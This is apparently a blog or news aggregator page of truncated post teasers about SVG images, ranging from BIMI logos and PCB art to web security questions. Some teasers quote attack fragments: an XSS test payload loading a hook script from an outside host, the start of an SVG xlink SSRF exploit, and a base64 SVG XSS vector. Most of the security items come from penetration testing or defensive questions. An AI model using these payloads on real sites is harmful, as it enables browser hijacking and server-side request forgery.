Collaborate Disseminate
Brand Indicators for Message Identification (BIMI) is an emerging standard that allows brands to display their logos alongside authenticated email messages. BIMI was designed to be easy, but it has become clear that there are a few challenges when it c… Continue reading How to create a BIMI-compatible logo using SVG images
In my web application, while doing the penetration testing two XSS vulnerabilities identified in some text input.
that field testing using followin cheets,
<script src=”http://192.168.1.122:3000/hook.js”></script&g… Continue reading How to prevent XSS attacks in ASP web application
Is there a working technique to execute XSS in modern browsers using a SVG file displayed on a web page with an <img src=””> tag?
I know a way to execute without <script> tag, but I don’t know how to load a file … Continue reading Is there a way to execute XSS in an HTML img tag with SVG?
First, let me summarize how the SSRF works:
1) You setup an SVG image with a reference to your server via xlink. Here’s an example that works:
<?xml version=”1.0″ encoding=”UTF-8″ standalone=”no”?><svg xmlns:svg=”http://www.w3.o… Continue reading How to exploit SVG xlink-based SSRF
When it comes to mathematics, the average person can probably get through most of life well enough with just basic algebra. Some simple statistical concepts would be helpful, and a little calculus couldn’t hurt. But that leaves out a lot of interesting mathematical concepts that really do have applications in …read more
Continue reading Interactive Demo Shows the Power of Fourier Transforms
Bringing modern protocols and techniques to vintage computers is a favorite pastime for hackers, and over the years we’ve seen some absolutely incredible hardware and software projects designed specifically to do what most people would consider impossible. They’re very rarely practical projects, of course. But that’s never really the point. …read more
Continue reading SVG Rendering Comes To 8-bit Atari Computers
I was experimenting with some Anti-XSS solutions, and during my research, I found following the XSS vector in a cheatsheet:
<EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIi… Continue reading XSS using SVG: Is AllowScriptAccess attribute ignored?
Badgelife and the rise of artistic PCBs are pushing the envelope of what can be done with printed circuit boards. And if you’re doing PCB art, you really want to do it with vectors. This is a surprisingly hard problem, because very few software tools can actually do DXFs and SVGs properly. Never fear, because [TallDarknWeirdo] has the solution for you. It’s in Eagle, and it uses Illustrator and Inkscape, but then again this is a hard problem.
The demonstration article for this example is just a Christmas tree. It’s somewhat topical green soldermask is standard, FR4 looks like wood, …read more
Does anyone know of a way to prevent JS from running inside of an SVG or stripping out JS from an SVG? In my use case I’d prefer to keep the image as an SVG and not convert it to a JPG. I’ve thought about stripping out script… Continue reading Restrict JS in SVGs
This SE question (now deleted, so not easily viewed) contains an animated SVG that loads from a private website instead of the usual GIF’s hosted by imgur. The line is:
![https://www.moonwards.com/img/animations/transfer_tim… Continue reading Could an SE question that runs an SVG from a private website potentially be dangerous?